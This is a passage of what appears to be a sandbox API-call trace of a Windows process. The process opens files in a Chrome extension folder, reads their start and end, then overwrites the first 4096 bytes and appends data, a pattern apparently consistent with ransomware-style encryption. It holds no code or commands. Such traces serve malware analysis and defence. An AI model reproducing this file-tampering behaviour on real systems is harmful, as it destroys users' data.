dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0052.332] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0052.332] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x1bef [0052.332] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0052.332] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0052.332] ReleaseMutex (hMutex=0x128) returned 1 [0052.332] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="chromecast_logo_grey.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0052.332] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="chromecast_logo_grey.png", cchWideChar=24, lpMultiByteStr=0x1e7faec, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="chromecast_logo_grey.png", lpUsedDefaultChar=0x0) returned 24 [0052.332] ReadFile (in: hFile=0x1b0, lpBuffer=0x2613678, nNumberOfBytesToRead=0x1bef, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x354f2bc*=0x1bef, lpOverlapped=0x0) returned 1 [0052.333] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0052.333] WriteFile (in: hFile=0x1b0, lpBuffer=0x1dabf08*, nNumberOfBytesToWrite=0x2177, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dabf08*, lpNumberOfBytesWritten=0x354f2d0*=0x2177, lpOverlapped=0x0) returned 1 [0052.334] CloseHandle (hObject=0x1b0) returned 1 [0052.334] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback_script.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback_script.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0052.334] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0052.334] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x2b20 [0052.335] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0052.335] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0052.335] ReleaseMutex (hMutex=0x128) returned 1 [0052.335] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="feedback_script.js", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0052.335] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="feedback_script.js", cchWideChar=18, lpMultiByteStr=0x1e78974, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="feedback_script.js", lpUsedDefaultChar=0x0) returned 18 [0052.335] ReadFile (in: hFile=0x1b0, lpBuffer=0x2613678, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0052.336] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x1b20 [0052.336] ReadFile (in: hFile=0x1b0, lpBuffer=0x2613678, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0052.337] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x1b20 [0052.337] WriteFile (in: hFile=0x1b0, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0052.338] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0052.338] WriteFile (in: hFile=0x1b0, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x354f28c*=0x1000, lpOverlapped=0x0) returned 1 [0052.338] CloseHandle (hObject=0x1b0) returned 1 [0052.338] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0052.338] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0052.338] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x52cb [0052.338] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0052.339] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0052.339] ReleaseMutex (hMutex=0x128) returned 1 [0052.339] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0052.339] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6340c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0052.339] ReadFile (in: hFile=0x1b0, lpBuffer=0x2613678, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0052.340] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x42cb [0052.340] ReadFile (in: hFile=0x1b0, lpBuffer=0x2613678, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0052.341] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x42cb [0052.341] WriteFile (in: hFile=0x1b0, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0052.341] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0052.341] WriteFile (in: hFile=0x1b0, lpBuffer=0x276c358*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x276c358*, lpNumberOfBytesWritten=0x354f28c*=0x1000, lpOverlapped=0x0) returned 1 [0052.341] CloseHandle (hObject=0x1b0) returned 1 [0052.342] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0052.342] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0052.342] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x3f4c [0052.342] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0052.342] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0052.342] ReleaseMutex (hMutex=0x128) returned 1 [0052.342] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0052.342] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6314c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0052.342] ReadFile (in: hFile=0x1b0, lpBuffer=0x2613678, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0052.343] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x2f4c [0052.344] ReadFile (in: hFile=0x1b0, lpBuffer=0x2613678, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0052.344] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x2f4c [0052.344] WriteFile (in: hFile=0x1b0, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0052.345] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0052.345] WriteFile (in: hFile=0x1b0, lpBuffer=0x276c358*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x276c358*, lpNumberOfBytesWritten=0x354f28c*=0x1000, lpOverlapped=0x0) returned 1 [0052.345] CloseHandle (hObject=0x1b0) returned 1 [0052.345] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0052.346] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0052.346] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x447a [0052.346] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0052.346] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0052.346] ReleaseMutex (hMutex=0x128) returned 1 [0052.346] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0052.346] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6340c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0052.346] ReadFile (in: hFile=0x1b0, lpBuffer=0x2613678, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0052.347] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x347a [0052.347] ReadFile (in: hFile=0x1b0, lpBuffer=0x2613678, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0052.348] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x347a [0052.348] WriteFile (in: hFile=0x1b0, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0052.348] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0052.348] WriteFile (in: hFile=0x1b0, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x354f28c*=0x1000, lpOverlapped=0x0) returned 1 [0052.348] CloseHandle (hObject=0x1b0) returned 1 [0052.348] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0052.349] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0052.349] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x3fd7 [0052.349] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0052.349] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0052.349] ReleaseMutex (hMutex=0x128) returned 1 [0052.349] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0052.349] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6314c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0052.349] ReadFile (in: hFile=0x1b0, lpBuffer=0x2613678, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0052.351] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x2fd7 [0052.351] ReadFile (in: hFile=0x1b0, lpBuffer=0x2613678, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0052.353] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x2fd7 [0052.353] WriteFile (in: hFile=0x1b0, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0052.353] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0052.353] WriteFile (in: hFile=0x1b0, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x354f28c*=0x1000, lpOverlapped=0x0) returned 1 [0052.354] CloseHandle (hObject=0x1b0) returned 1 [0052.354] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sw\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sw\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0053.691] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0053.691] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x3e8b [0053.691] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0053.691] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.691] ReleaseMutex (hMutex=0x128) returned 1 [0053.691] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0053.691] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6324c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0053.691] ReadFile (in: hFile=0x1ac, lpBuffer=0x1dabed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1dabed8*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0053.693] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x2e8b [0053.693] ReadFile (in: hFile=0x1ac, lpBuffer=0x26156a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x26156a8*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0053.693] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x2e8b [0053.693] WriteFile (in: hFile=0x1ac, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0053.694] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0053.694] WriteFile (in: hFile=0x1ac, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x354f28c*=0x1000, lpOverlapped=0x0) returned 1 [0053.694] CloseHandle (hObject=0x1ac) returned 1 [0053.694] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata\\verified_contents.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0053.695] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0053.695] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x3e39 [0053.695] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0053.695] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.695] ReleaseMutex (hMutex=0x128) returned 1 [0053.695] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="verified_contents.json", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0053.695] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="verified_contents.json", cchWideChar=22, lpMultiByteStr=0x1e78974, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="verified_contents.json", lpUsedDefaultChar=0x0) returned 22 [0053.695] ReadFile (in: hFile=0x1ac, lpBuffer=0x1dabed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1dabed8*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0053.696] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x2e39 [0053.696] ReadFile (in: hFile=0x1ac, lpBuffer=0x26156a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x26156a8*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0053.697] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, 